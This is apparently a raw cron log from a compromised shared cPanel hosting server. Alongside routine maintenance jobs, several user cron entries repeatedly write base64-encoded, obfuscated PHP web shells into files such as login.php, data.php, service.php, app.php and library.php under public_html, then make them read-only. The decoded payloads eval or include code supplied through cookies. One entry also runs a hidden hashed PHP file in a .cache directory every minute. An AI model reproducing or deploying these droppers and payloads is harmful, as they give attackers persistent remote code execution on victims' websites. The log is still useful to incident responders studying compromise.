Mar  2 00:22:02 medusa CROND[22092]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:22:02 medusa CROND[22093]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:22:02 medusa CROND[22094]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:22:02 medusa CROND[22095]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 00:22:02 medusa CROND[22100]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:22:02 medusa CROND[22102]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:22:02 medusa CROND[22103]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:22:02 medusa CROND[22104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:22:02 medusa CROND[22105]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 00:23:01 medusa CROND[26542]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:23:01 medusa CROND[26541]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:23:01 medusa CROND[26545]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:23:01 medusa CROND[26546]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:23:01 medusa CROND[26547]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:23:01 medusa CROND[26548]: (root) CMD ((/usr/local/cpanel/scripts/fix-cpanel-perl; /usr/local/cpanel/scripts/upcp --cron > /dev/null))
Mar  2 00:23:01 medusa CROND[26551]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:23:01 medusa CROND[26549]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 00:23:01 medusa CROND[26558]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:23:01 medusa CROND[26559]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:23:01 medusa CROND[26565]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:23:01 medusa CROND[26566]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:23:01 medusa CROND[26567]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:24:02 medusa CROND[32574]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:24:02 medusa CROND[32738]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:24:02 medusa CROND[32739]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:24:02 medusa CROND[32741]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:24:02 medusa CROND[32743]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:24:02 medusa CROND[32744]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 00:24:02 medusa CROND[32745]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:24:02 medusa CROND[32750]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:24:02 medusa CROND[32751]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:24:02 medusa CROND[32754]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:24:02 medusa CROND[32760]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:24:02 medusa CROND[32761]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
